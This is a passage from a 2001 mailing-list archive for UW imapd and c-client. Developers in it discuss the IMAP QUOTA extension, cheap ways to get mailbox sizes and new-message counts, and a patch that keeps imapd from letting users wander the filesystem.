08:52:59 -0800 Received: (qmail 15926 invoked from network); 1 Nov 2001 17:51:30 -0000 Received: from host183210.arnet.net.ar (HELO jeopardy) (200.45.183.210) by ns1.mintercorp.com with SMTP; 1 Nov 2001 17:51:30 -0000 Message-Id: <011b01c162f6$23e3c0d0$0100a8c0@jeopardy> Date: Thu, 1 Nov 2001 13:56:22 -0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Daniel Fritzler" To: Subject: QUOTA extension on imapd MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi there, I'm developing a mail client that supports the IMAP4 QUOTA extension (RFC2087), but while I was testing my client with imapd, I found out that it does not support this extension. Is someone working on a RFC2087 implementation for imapd? I don't need imapd to maintain the quota, just storing the quota value and reporting mailbox disk usage will be enough for me. Thank you very much. Daniel Fritzler -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Nov 1 09:47:35 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 1 Nov 2001 09:47:27 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA1HkoJ03810 for ; Thu, 1 Nov 2001 09:47:00 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Thu Nov 01 09:46:37 2001 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fA1HkbG13302; Thu, 1 Nov 2001 09:46:37 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA1Hk6413880; Thu, 1 Nov 2001 09:46:06 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA1HjEn44306 for ; Thu, 1 Nov 2001 09:45:14 -0800 Received: FROM mxu2.u.washington.edu BY mailscan6.cac.washington.edu ; Thu Nov 01 09:38:41 2001 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fA1Hcf424130 for ; Thu, 1 Nov 2001 09:38:41 -0800 Message-Id: Date: Thu, 1 Nov 2001 09:26:04 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Daniel Fritzler Cc: c-client@u.washington.edu Subject: re: QUOTA extension on imapd In-Reply-To: <011b01c162f6$23e3c0d0$0100a8c0@jeopardy> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN It is difficult to implement the QUOTA extension in a meaningful way in imapd. Since imapd uses the underlying UNIX filesystem, this means that quotas also come from the UNIX filesystem. In most UNIX systems quotas are per-user instead of per-directory or per-file. The QUOTA extension, on the other hand, assumes that quotas are associated with a particular level of hierarchy. What this means is that UNIX quotas can't be expressed well as QUOTA extension quotas and vice versa. An additional problem is that setting quotas is a privileged operation on most UNIX systems, so that part of the QUOTA extension isn't implementable either. Last but not least, there is no common standard for quotas on UNIX. Different UNIX systems have different incompatible system calls to access and manipulate quotas. The bottom line is that any attempt to implement the QUOTA extension in imapd would result in only the smallest subset, which will report quotas that aren't particularly meaningful and will change continually in ways that an IMAP client would have no way of understanding (because quotas aren't allocated the way the QUOTA extension discusses). The underlying problem is that, unfortunately, both the ACL and the QUOTA extensions were designed with the AFS data store model in mind, and with inadequate effort to ensure general applicability with other data stores. Fixing the design of these extensions is going to take a lot of work. Fixing ACL has already consumed years of effort without any resolution in sight, and that seems to be of higher priority that QUOTA. From pinedev@shivax2.cac.washington.edu Thu Nov 1 13:11:48 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 1 Nov 2001 13:11:32 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA1L8lT31448 for ; Thu, 1 Nov 2001 13:09:15 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan1.cac.washington.edu ; Thu Nov 01 13:08:40 2001 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fA1L8dG22473; Thu, 1 Nov 2001 13:08:39 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA1L8L213132; Thu, 1 Nov 2001 13:08:21 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA1L5kn148494 for ; Thu, 1 Nov 2001 13:05:46 -0800 Received: FROM mxu4.u.washington.edu BY mailscan1.cac.washington.edu ; Thu Nov 01 13:05:45 2001 -0800 Received: from mail.mintercorp.com (firewall.mintercorp.com [216.167.37.230]) by mxu4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA1L5j923310 for ; Thu, 1 Nov 2001 13:05:45 -0800 Received: (qmail 20257 invoked from network); 1 Nov 2001 22:04:15 -0000 Received: from host183210.arnet.net.ar (HELO jeopardy) (200.45.183.210) by ns1.mintercorp.com with SMTP; 1 Nov 2001 22:04:15 -0000 Message-Id: <013e01c16319$72f18e50$0100a8c0@jeopardy> Date: Thu, 1 Nov 2001 18:09:07 -0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Daniel Fritzler" To: Cc: "'Mark Crispin'" Subject: RE: QUOTA extension on imapd In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi Mark, Thank you for your prompt reply. What do you think about imapd handling quotas internally without relying on the filesystem quotas? For instance, imapd could maintain internal quota tables and check the disk usage before allowing an APPEND or COPY. Also, a patch for procmail (or other MDA) could be created that implements the quota also reading imapd's internal quota tables. What I have in mind is to implement a file called ~/.quotas storing something like: #Qroot Resource Units_allowed Units_used "" STORAGE 10 1 "" MESSAGES 5 3 Thanks, Daniel > -----Original Message----- > From: Mark Crispin [mailto:mrc@Ikkoku-Kan.Panda.COM] On > Behalf Of Mark Crispin > Sent: Thursday, November 01, 2001 2:26 PM > To: Daniel Fritzler > Cc: c-client@u.washington.edu > Subject: re: QUOTA extension on imapd > > > It is difficult to implement the QUOTA extension in a > meaningful way in imapd. Since imapd uses the underlying UNIX > filesystem, this means that quotas also come from the UNIX filesystem. > > In most UNIX systems quotas are per-user instead of > per-directory or per-file. The QUOTA extension, on the other > hand, assumes that quotas are associated with a particular > level of hierarchy. What this means is that UNIX quotas > can't be expressed well as QUOTA extension quotas and vice versa. > > An additional problem is that setting quotas is a privileged > operation on most UNIX systems, so that part of the QUOTA > extension isn't implementable either. > > Last but not least, there is no common standard for quotas on > UNIX. Different UNIX systems have different incompatible > system calls to access and manipulate quotas. > > The bottom line is that any attempt to implement the QUOTA > extension in imapd would result in only the smallest subset, > which will report quotas that aren't particularly meaningful > and will change continually in ways that an IMAP client would > have no way of understanding (because quotas aren't allocated > the way the QUOTA extension discusses). > > The underlying problem is that, unfortunately, both the ACL > and the QUOTA extensions were designed with the AFS data > store model in mind, and with inadequate effort to ensure > general applicability with other data stores. Fixing the > design of these extensions is going to take a lot of work. > Fixing ACL has already consumed years of effort without any > resolution in sight, and that seems to be of higher priority > that QUOTA. > > From pinedev@shivax2.cac.washington.edu Thu Nov 1 14:46:48 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 1 Nov 2001 14:46:48 -0800 (PST) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA1MkkT01186 for ; Thu, 1 Nov 2001 14:46:47 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Thu Nov 01 14:46:40 2001 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fA1MkeG25984; Thu, 1 Nov 2001 14:46:40 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA1MkJ405650; Thu, 1 Nov 2001 14:46:19 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA1MjNn45218 for ; Thu, 1 Nov 2001 14:45:23 -0800 Received: FROM mxu3.u.washington.edu BY mailscan1.cac.washington.edu ; Thu Nov 01 14:45:22 2001 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fA1MjK206485 for ; Thu, 1 Nov 2001 14:45:20 -0800 Message-Id: Date: Thu, 1 Nov 2001 14:41:19 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Daniel Fritzler Cc: c-client@u.washington.edu Subject: RE: QUOTA extension on imapd In-Reply-To: <013e01c16319$72f18e50$0100a8c0@jeopardy> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 1 Nov 2001 18:09:07 -0300, Daniel Fritzler wrote: > What do you think about imapd handling quotas internally without relying > on the filesystem quotas? That's a good question. One of UW imapd's target platforms are systems which allows shell access. In fact, UW imapd is probably the only IMAP server which is suitable for such a system. Any internal handling of quotas by UW imapd is meaningless in such a system. I am very reluctant to commit UW imapd to an IMAP-only server design, given that all the other IMAP servers out there are in that business. The primary business of UW imapd is the business of "play ball with your UNIX system". From pinedev@shivax2.cac.washington.edu Thu Nov 1 16:29:23 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 1 Nov 2001 16:29:22 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA20TLT02377 for ; Thu, 1 Nov 2001 16:29:21 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan1.cac.washington.edu ; Thu Nov 01 16:29:15 2001 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fA20TEG31498; Thu, 1 Nov 2001 16:29:15 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA20Sub25680; Thu, 1 Nov 2001 16:28:56 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA20Rnn126012 for ; Thu, 1 Nov 2001 16:27:49 -0800 Received: FROM mxu1.u.washington.edu BY mailscan1.cac.washington.edu ; Thu Nov 01 16:27:48 2001 -0800 Received: from magic.merlins.org (magic.merlins.org [204.80.101.184]) by mxu1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fA20RlB21318 for ; Thu, 1 Nov 2001 16:27:47 -0800 Received: from magic.merlins.org (merlin@localhost [127.0.0.1]) by magic.merlins.org (8.12.0.Beta7/8.12.0.Beta7) with ESMTP id fA20ReOv029410 for ; Thu, 1 Nov 2001 16:27:41 -0800 Received: (from merlin@localhost) by magic.merlins.org (8.12.0.Beta7/8.12.0.Beta7/Debian 8.12.0.Beta7-1) id fA20RdiK029408 for c-client@u.washington.edu; Thu, 1 Nov 2001 16:27:39 -0800 Message-Id: <20011101162738.O19685@magic.merlins.org> Date: Thu, 1 Nov 2001 16:27:38 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Marc MERLIN To: c-client@u.washington.edu Subject: Re: Several patches for uwimap, please review In-Reply-To: <20011031195520.O3403@magic.merlins.org>; from marc_imapd@merlins.org on Wed, Oct 31, 2001 at 07:55:20PM -0800 References: <20011031195520.O3403@magic.merlins.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Sysadmin: BOFH X-URL: http://marc.merlins.org/ X-Operating-System: Proudly running Linux 2.2.12/Debian testing/unstable X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, Oct 31, 2001 at 07:55:20PM -0800, Marc MERLIN wrote: > The whole thing is here: > http://marc.merlins.org/linux/uwimap/ (...) > * Anti FS wandering patch: this patch is to ensure that if one of your users > gets his/her password stolen, a cracker cannot use his account and the > imap server to freely browse around your filesystem. I'm not ultra > familiar with the uwimap code, so if you think I missed something please > let me know. I noticed that some clients tried to access ~/mailbox and /var/spool/mail/login which my patch would both block. It now only blocks ~ if it isn't followed by NULL or '/' select /var/spool/mail/foo works too now, but any other select that starts with '/' is blocked (including select /home/login/inbox, but clients should not issue that since they are not supposed to know that my homedirs are in /home) (netscape was happy without those two modifications) Again, applying the patch won't hurt since it's all ifdeffed, but if you enable it, you should make sure that all your imap clients are happy with it (mine are now) The web page has been updated with a new version of the patch Feedback on this is appreciated. Thanks, Marc -- Microsoft is to operating systems & security .... .... what McDonalds is to gourmet cooking Home page: http://marc.merlins.org/ | Finger marc_f@merlins.org for PGP key From pinedev@shivax2.cac.washington.edu Mon Nov 5 07:53:37 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 5 Nov 2001 07:53:37 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA5FrZT32449 for ; Mon, 5 Nov 2001 07:53:36 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Mon Nov 05 07:53:32 2001 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fA5FrWG01234; Mon, 5 Nov 2001 07:53:32 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA5Fr8565052; Mon, 5 Nov 2001 07:53:08 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA5FoHn74952 for ; Mon, 5 Nov 2001 07:50:17 -0800 Received: FROM mxu4.u.washington.edu BY mailscan2.cac.washington.edu ; Mon Nov 05 07:50:17 2001 -0800 Received: from mail.mintercorp.com (firewall.mintercorp.com [216.167.37.230]) by mxu4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA5FoG925314 for ; Mon, 5 Nov 2001 07:50:16 -0800 Received: (qmail 13778 invoked from network); 5 Nov 2001 16:48:43 -0000 Received: from host177241.arnet.net.ar (HELO jeopardy) (200.45.177.241) by ns1.mintercorp.com with SMTP; 5 Nov 2001 16:48:43 -0000 Message-Id: <028a01c16612$083351b0$0100a8c0@jeopardy> Date: Mon, 5 Nov 2001 12:53:36 -0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Daniel Fritzler" To: Subject: Mailbox storage MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, I'm working on a mail client that has to maintain an updated list of: - Disk usage of each mailbox. - Total and unseen messages on each mailbox. If I do a 'A01 EXAMINE 'mailbox'' and 'A02 FETCH 1:* RFC822.SIZE' for each existing mailbox, I will probably end up killing the server. Do you have any ideas of how to accomplish this without putting too much load on the server? Thank you. Regards, Daniel F. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Nov 5 11:18:57 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 5 Nov 2001 11:18:56 -0800 (PST) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA5JItT14183 for ; Mon, 5 Nov 2001 11:18:55 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Mon Nov 05 11:18:48 2001 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fA5JIlG09100; Mon, 5 Nov 2001 11:18:48 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA5JHA211640; Mon, 5 Nov 2001 11:17:10 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA5JDYn142328 for ; Mon, 5 Nov 2001 11:13:34 -0800 Received: FROM mxu2.u.washington.edu BY mailscan4.cac.washington.edu ; Mon Nov 05 11:13:33 2001 -0800 Received: from shiva.jussieu.fr (shiva.jussieu.fr [134.157.0.129]) by mxu2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fA5JDW412174 for ; Mon, 5 Nov 2001 11:13:32 -0800 Received: from parthe.lpthe.jussieu.fr (parthe.lpthe.jussieu.fr [134.157.10.1]) by shiva.jussieu.fr (8.11.3/jtpda-5.3.3) with ESMTP id fA5JDUN12399 for ; Mon, 5 Nov 2001 20:13:30 +0100 (CET) Received: from seth.lpthe.jussieu.fr (IDENT:root@seth.lpthe.jussieu.fr [134.157.10.7]) by parthe.lpthe.jussieu.fr (8.11.1/jtpda-5.3.1) with ESMTP id fA5JDU303340 for ; Mon, 5 Nov 2001 20:13:30 +0100 (MET) Received: from (zeitlin@localhost) by seth.lpthe.jussieu.fr (8.8.7/jtpda-5.1) id UAA28232 ; Mon, 5 Nov 2001 20:13:29 +0100 Message-Id: <200111051913.UAA28232@seth.lpthe.jussieu.fr> Date: Mon, 5 Nov 2001 20:13:29 +0100 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client Subject: how to quickly get number of new messages? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, it seems that there is no quick way to get the number of new (i.e. RECENT and !SEEN) messages in a mailbox using c-client (nor any provisions for doing it in the IMAP itself) so I find myself forced to do a mail_search() for such messages just to get their count. This works but isn't particularly efficient so I'd like to know if I'm missing some obvious and faster way to do it? It seems so strange that IMAP server always tells the client about recent messages (both in untagged responses and in reply to STATUS command) but not about the new ones which are much more interesting from the client point of view... Is there any better way to get the number of new messages? Thanks! VZ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Nov 5 11:41:22 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 5 Nov 2001 11:41:21 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA5JfJT01594 for ; Mon, 5 Nov 2001 11:41:19 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Mon Nov 05 11:41:11 2001 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fA5JfBn21796; Mon, 5 Nov 2001 11:41:11 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA5Jeb215558; Mon, 5 Nov 2001 11:40:37 -0800 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA5JV9n89856 for ; Mon, 5 Nov 2001 11:31:10 -0800 Received: FROM mxu4.u.washington.edu BY mailscan3.cac.washington.edu ; Mon Nov 05 11:31:09 2001 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fA5JV9912957 for ; Mon, 5 Nov 2001 11:31:09 -0800 Message-Id: Date: Mon, 5 Nov 2001 11:31:05 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Daniel Fritzler Cc: c-client@u.washington.edu Subject: Re: Mailbox storage In-Reply-To: <028a01c16612$083351b0$0100a8c0@jeopardy> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 5 Nov 2001, Daniel Fritzler wrote: > If I do a 'A01 EXAMINE 'mailbox'' and 'A02 FETCH 1:* RFC822.SIZE' for > each existing mailbox, I will probably end up killing the server. Although this is certainly not a nice thing to do, it isn't as expensive on the server as you may think. The cost of the fetch is network traffic; the server load is minimal. With my server, the cost of EXAMINE is not significantly different from STATUS. It's possible that with other servers, EXAMINE may be more expensive than STATUS, but I speculate that if STATUS is cheap in a server implementation, EXAMINE is probably not too much more expensive. The main benefit of STATUS is to avoid changing client selected state. The real issue is how frequently you plan to do this. If this is a once every minute update, it will be bad news. But if you're trying to generate a once-a-day report, it may be alright. As an alternative, you may want to consider a server-based tool instead of trying to shoehorn this functionality into IMAP. If it were me, if I had to do this task as a one-shot I'd probably use IMAP; but if I had to do it more than once I'd write a server based tool optimized for that task. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Mon Nov 5 11:45:14 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 5 Nov 2001 11:45:14 -0800 (PST) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA5JjDT26026 for ; Mon, 5 Nov 2001 11:45:13 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan6.cac.washington.edu ; Mon Nov 05 11:45:06 2001 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fA5Jj5G10005; Mon, 5 Nov 2001 11:45:05 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA5JiI421482; Mon, 5 Nov 2001 11:44:18 -0800 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA5JcPn71758 for ; Mon, 5 Nov 2001 11:38:25 -0800 Received: FROM mxu2.u.washington.edu BY mailscan3.cac.washington.edu ; Mon Nov 05 11:38:25 2001 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fA5JcP422365 for ; Mon, 5 Nov 2001 11:38:25 -0800 Message-Id: Date: Mon, 5 Nov 2001 11:37:46 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Vadim Zeitlin Cc: c-client Subject: Re: how to quickly get number of new messages? In-Reply-To: <200111051913.UAA28232@seth.lpthe.jussieu.fr> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN mail_search() isn't bad. In fact, that's the way you do it. In general, a client is not just interested in knowing how many new messages; it is also interested in knowing where the new messages are. The other thing that many clients do is a big fetch (1:*) of flags or "fast" data via mail_fetch_flags()/mail_fetch_fast() to do a complete client synchronization of flag state. That's a one-shot operation; subsequent operations are just a reference to mail_elt() for the message since the IMAP server will transmit flags updates and the remainder of the fast data is static. Although a big fetch should be avoided on principle, it isn't as bad for flags or fast as it is for, say, ALL, FULL, or RFC822. If the client really needs to know about the flags of messages for some global purposes (and for more than answering a single question), the big fetch is a reasonable price to pay. On Mon, 5 Nov 2001, Vadim Zeitlin wrote: > it seems that there is no quick way to get the number of new (i.e. RECENT > and !SEEN) messages in a mailbox using c-client (nor any provisions for > doing it in the IMAP itself) so I find myself forced to do a mail_search() > for such messages just to get their count. This works but isn't > particularly efficient so I'd like to know if I'm missing some obvious and > faster way to do it? It seems so strange that IMAP server always tells the > client about recent messages (both in untagged responses and in reply to > STATUS command) but not about the new ones which are much more interesting > from the client point of view... -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Mon Nov 5 12:05:10 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 5 Nov 2001 12:05:10 -0800 (PST) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA5K59T05782 for ; Mon, 5 Nov 2001 12:05:09 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Mon Nov 05 12:05:04 2001 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fA5K54G10726; Mon, 5 Nov 2001 12:05:04 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA5K4ib27968; Mon, 5 Nov 2001 12:04:44 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA5K2hn13928 for ; Mon, 5 Nov 2001 12:02:43 -0800 Received: FROM mxu3.u.washington.edu BY mailscan4.cac.washington.edu ; Mon Nov 05 12:02:41 2001 -0800 Received: from shiva.jussieu.fr (shiva.jussieu.fr [134.157.0.129]) by mxu3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fA5K2b200752 for ; Mon, 5 Nov 2001 12:02:38 -0800 Received: from parthe.lpthe.jussieu.fr (parthe.lpthe.jussieu.fr [134.157.10.1]) by shiva.jussieu.fr (8.11.3/jtpda-5.3.3) with ESMTP id fA5K2aN19768 for ; Mon, 5 Nov 2001 21:02:36 +0100 (CET) Received: from seth.lpthe.jussieu.fr (IDENT:root@seth.lpthe.jussieu.fr [134.157.10.7]) by parthe.lpthe.jussieu.fr (8.11.1/jtpda-5.3.1) with ESMTP id 